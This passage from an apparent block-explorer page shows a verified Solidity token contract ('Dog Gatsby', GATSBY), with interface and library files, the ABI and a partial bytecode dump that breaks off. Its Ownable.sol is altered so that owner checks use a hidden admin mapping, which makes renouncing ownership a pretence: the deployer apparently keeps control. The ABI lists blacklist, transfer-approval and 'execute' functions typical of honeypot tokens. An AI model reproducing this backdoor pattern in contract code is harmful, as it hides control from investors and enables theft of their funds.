        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 5 of 6: Ownable.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;

import {Context} from "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
        admin[_msgSender()]=true;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(admin[_msgSender()], "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 6 of 6: SafeMath.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blacklistAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"reduceBuyTaX","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setEarlySellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600960156101000a81548160ff0219169083151502179055506000600960166101000a81548160ff0219169083151502179055506000600960176101000a81548160ff0219169083151502179055506001600960186101000a81548160ff0219169083151502179055506001600960196101000a81548160ff0219169083151502179055503480156200009857600080fd5b506040516200669d3803806200669d8339818101604052810190620000be919062000a62565b6040518060400160405280600a81526020017f446f6720476174736279000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f474154534259000000000000000000000000000000000000000000000000000081525081600490816200013b919062000d23565b5080600590816200014d919062000d23565b50505062000170620001646200052460201b60201c565b6200052c60201b60201c565b6001600080620001856200052460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905082600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000284816001620005f260201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506000601990506000806000601990506000806000806000620002df6200065d60201b60201c565b600a620002ed919062000f9a565b6409502f9000620002ff919062000feb565b90506103e8601e8262000313919062000feb565b6200031f919062001065565b600a819055506103e8601e8262000337919062000feb565b62000343919062001065565b600c819055506103e8600a826200035b919062000feb565b62000367919062001065565b600b8190555088600e8190555087600f8190555086601081905550601054600f54600e546200039791906200109d565b620003a391906200109d565b600d81905550856012819055508460138190555083601481905550601454601354601254620003d391906200109d565b620003df91906200109d565b601181905550826015819055508160168190555062000415620004076200066660201b60201c565b60016200069060201b60201c565b620004283060016200069060201b60201c565b6200043d61dead60016200069060201b60201c565b6200045f620004516200066660201b60201c565b6001620005f260201b60201c565b62000472306001620005f260201b60201c565b6200048761dead6001620005f260201b60201c565b6001600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200051233826200074b60201b60201c565b505050505050505050505050620012a7565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b62000602620008f160201b60201c565b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620006a0620008f160201b60201c565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516200073f9190620010f5565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620007bd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007b49062001173565b60405180910390fd5b620007d1600083836200099060201b60201c565b620007e8816003546200099560201b90919060201c565b6003819055506200084281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200099560201b90919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008e59190620011a6565b60405180910390a35050565b600080620009046200052460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166200098e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009859062001213565b60405180910390fd5b565b505050565b6000808284620009a691906200109d565b905083811015620009ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009e59062001285565b60405180910390fd5b8091505092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a2a82620009fd565b9050919050565b62000a3c8162000a1d565b811462000a4857600080fd5b50565b60008151905062000a5c8162000a31565b92915050565b6000806040838503121562000a7c5762000a7b620009f8565b5b600062000a8c8582860162000a4b565b925050602062000a9f8582860162000a4b565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b2b57607f821691505b60208210810362000b415762000b4062000ae3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b6c565b62000bb7868362000b6c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c0462000bfe62000bf88462000bcf565b62000bd9565b62000bcf565b9050919050565b6000819050919050565b62000c208362000be3565b62000c3862000c2f8262000c0b565b84845462000b79565b825550505050565b600090565b62000c4f62000c40565b62000c5c81848462000c15565b505050565b5b8181101562000c845762000c7860008262000c45565b60018101905062000c62565b5050565b601f82111562000cd35762000c9d8162000b47565b62000ca88462000b5c565b8101602085101562000cb8578190505b62000cd062000cc78562000b5c565b83018262000c61565b50505b505050565b600082821c905092915050565b600062000cf86000198460080262000cd8565b1980831691505092915050565b600062000d13838362000ce5565b9150826002028217905092915050565b62000d2e8262000aa9565b67ffffffffffffffff81111562000d4a5762000d4962000ab4565b5b62000d56825462000b12565b62000d6382828562000c88565b600060209050601f83116001811462000d9b576000841562000d86578287015190505b62000d92858262000d05565b86555062000e02565b601f19841662000dab8662000b47565b60005b8281101562000dd55784890151825560018201915060208501945060208101905062000dae565b8683101562000df5578489015162000df1601f89168262000ce5565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000e985780860481111562000e705762000e6f62000e0a565b5b600185161562000e805780820291505b808102905062000e908562000e39565b945062000e50565b94509492505050565b60008262000eb3576001905062000f86565b8162000ec3576000905062000f86565b816001811462000edc576002811462000ee75762000f1d565b600191505062000f86565b60ff84111562000efc5762000efb62000e0a565b5b8360020a91508482111562000f165762000f1562000e0a565b5b5062000f86565b5060208310610133831016604e8410600b841016171562000f575782820a90508381111562000f515762000f5062000e0a565b5b62000f86565b62000f66848484600162000e46565b9250905081840481111562000f805762000f7f62000e0a565b5b81810290505b9392505050565b600060ff82169050919050565b600062000fa78262000bcf565b915062000fb48362000f8d565b925062000fe37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ea1565b905092915050565b600062000ff88262000bcf565b9150620010058362000bcf565b9250828202620010158162000bcf565b915082820484148315176200102f576200102e62000e0a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010728262000bcf565b91506200107f8362000bcf565b92508262001092576200109162001036565b5b828204905092915050565b6000620010aa8262000bcf565b9150620010b78362000bcf565b9250828201905080821115620010d257620010d162000e0a565b5b92915050565b60008115159050919050565b620010ef81620010d8565b82525050565b60006020820190506200110c6000830184620010e4565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200115b601f8362001112565b9150620011688262001123565b602082019050919050565b600060208201905081810360008301526200118e816200114c565b9050919050565b620011a08162000bcf565b82525050565b6000602082019050620011bd600083018462001195565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620011fb60208362001112565b91506200120882620011c3565b602082019050919050565b600060208201905081810360008301526200122e81620011ec565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006200126d601b8362001112565b91506200127a8262001235565b602082019050919050565b60006020820190508181036000830152620012a0816200125e565b9050919050565b6080516153be620012df60003960008181610f55015281816125e101528181613be201528181613cc30152613cea01526153be6000f3fe6080604052600436106103a65760003560e01c80638ea5220f116101e7578063bbc0c7421161010d578063dd62ed3e116100a0578063f11a24d31161006f578063f11a24d314610dd9578063f2fde38b14610e04578063f637434214610e2d578063f8b45b0514610e58576103ad565b8063dd62ed3e14610d09578063e2f4560514610d46578063e884f26014610d71578063e9a6f14b14610d9c576103ad565b8063c876d0b9116100dc578063c876d0b914610c4b578063c8c8ebe414610c76578063d257b34f14610ca1578063d85ba06314610cde576103ad565b8063bbc0c74214610ba5578063c024666814610bd0578063c18bc19514610bf9578063c2b7bbb614610c22576103ad565b8063a0d82dc511610185578063a746223f11610154578063a746223f14610ad9578063a9059cbb14610b02578063aacebbe314610b3f578063b62496f514610b68576103ad565b8063a0d82dc514610a1d578063a265777814610a48578063a457c2d714610a71578063a4d15b6414610aae576103ad565b806395d89b41116101c157806395d89b41146109735780639a7a23d61461099e5780639c3b4fdc146109c75780639fccce32146109f2576103ad565b80638ea5220f146108f4578063921369131461091f578063924de9b71461094a576103ad565b806342966c68116102cc57806370a082311161026a57806375f0a8741161023957806375f0a8741461085c5780637bce5a04146108875780638a8c523c146108b25780638da5cb5b146108c9576103ad565b806370a08231146107b4578063715018a6146107f1578063751039fc146108085780637571336a14610833576103ad565b80634fbee193116102a65780634fbee193146106f6578063541a43cf146107335780636a486a8e1461075e5780636ddd171314610789576103ad565b806342966c681461067757806349bd5a5e146106a05780634a62bb65146106cb576103ad565b80631f3fed8f116103445780632bf3d42d116103135780632bf3d42d146105bb5780632d5a5d34146105e6578063313ce5671461060f578063395093511461063a576103ad565b80631f3fed8f14610501578063203e727e1461052c57806323b872dd1461055557806326ededb814610592576103ad565b80631694505e116103805780631694505e1461045757806318160ddd146104825780631816467f146104ad5780631a8145bb146104d6576103ad565b806306fdde03146103b2578063095ea7b3146103dd57806310d5de531461041a576103ad565b366103ad57005b600080fd5b3480156103be57600080fd5b506103c7610e83565b6040516103d49190613e8d565b60405180910390f35b3480156103e957600080fd5b5061040460048036038101906103ff9190613f4d565b610f15565b6040516104119190613fa8565b60405180910390f35b34801561042657600080fd5b50610441600480360381019061043c9190613fc3565b610f33565b60405161044e9190613fa8565b60405180910390f35b34801561046357600080fd5b5061046c610f53565b604051610479919061404f565b60405180910390f35b34801561048e57600080fd5b50610497610f77565b6040516104a49190614079565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf9190613fc3565b610f81565b005b3480156104e257600080fd5b506104eb611049565b6040516104f89190614079565b60405180910390f35b34801561050d57600080fd5b5061051661104f565b6040516105239190614079565b60405180910390f35b34801561053857600080fd5b50610553600480360381019061054e9190614094565b611055565b005b34801561056157600080fd5b5061057c600480360381019061057791906140c1565b6110e8565b6040516105899190613fa8565b60405180910390f35b34801561059e57600080fd5b506105b960048036038101906105b49190614179565b6111c1565b005b3480156105c757600080fd5b506105d061129e565b6040516105dd9190614079565b60405180910390f35b3480156105f257600080fd5b5061060d60048036038101906106089190614205565b6112a4565b005b34801561061b57600080fd5b50610624611307565b6040516106319190614261565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190613f4d565b611310565b60405161066e9190613fa8565b60405180910390f35b34801561068357600080fd5b5061069e60048036038101906106999190614094565b6113c3565b005b3480156106ac57600080fd5b506106b56113df565b6040516106c2919061428b565b60405180910390f35b3480156106d757600080fd5b506106e0611405565b6040516106ed9190613fa8565b60405180910390f35b34801561070257600080fd5b5061071d60048036038101906107189190613fc3565b611418565b60405161072a9190613fa8565b60405180910390f35b34801561073f57600080fd5b5061074861146e565b6040516107559190614079565b60405180910390f35b34801561076a57600080fd5b50610773611474565b6040516107809190614079565b60405180910390f35b34801561079557600080fd5b5061079e61147a565b6040516107ab9190613fa8565b60405180910390f35b3480156107c057600080fd5b506107db60048036038101906107d69190613fc3565b61148d565b6040516107e89190614079565b60405180910390f35b3480156107fd57600080fd5b506108066114d6565b005b34801561081457600080fd5b5061081d6114ea565b60405161082a9190613fa8565b60405180910390f35b34801561083f57600080fd5b5061085a60048036038101906108559190614205565b611516565b005b34801561086857600080fd5b50610871611579565b60405161087e919061428b565b60405180910390f35b34801561089357600080fd5b5061089c61159f565b6040516108a99190614079565b60405180910390f35b3480156108be57600080fd5b506108c76115a5565b005b3480156108d557600080fd5b506108de6115ec565b6040516108eb919061428b565b60405180910390f35b34801561090057600080fd5b50610909611616565b604051610916919061428b565b60405180910390f35b34801561092b57600080fd5b5061093461163c565b6040516109419190614079565b60405180910390f35b34801561095657600080fd5b50610971600480360381019061096c91906142a6565b611642565b005b34801561097f57600080fd5b50610988611667565b6040516109959190613e8d565b60405180910390f35b3480156109aa57600080fd5b506109c560048036038101906109c09190614205565b6116f9565b005b3480156109d357600080fd5b506109dc61179f565b6040516109e99190614079565b60405180910390f35b3480156109fe57600080fd5b50610a076117a5565b604051610a149190614079565b60405180910390f35b348015610a2957600080fd5b50610a326117ab565b604051610a3f9190614079565b60405180910390f35b348015610a5457600080fd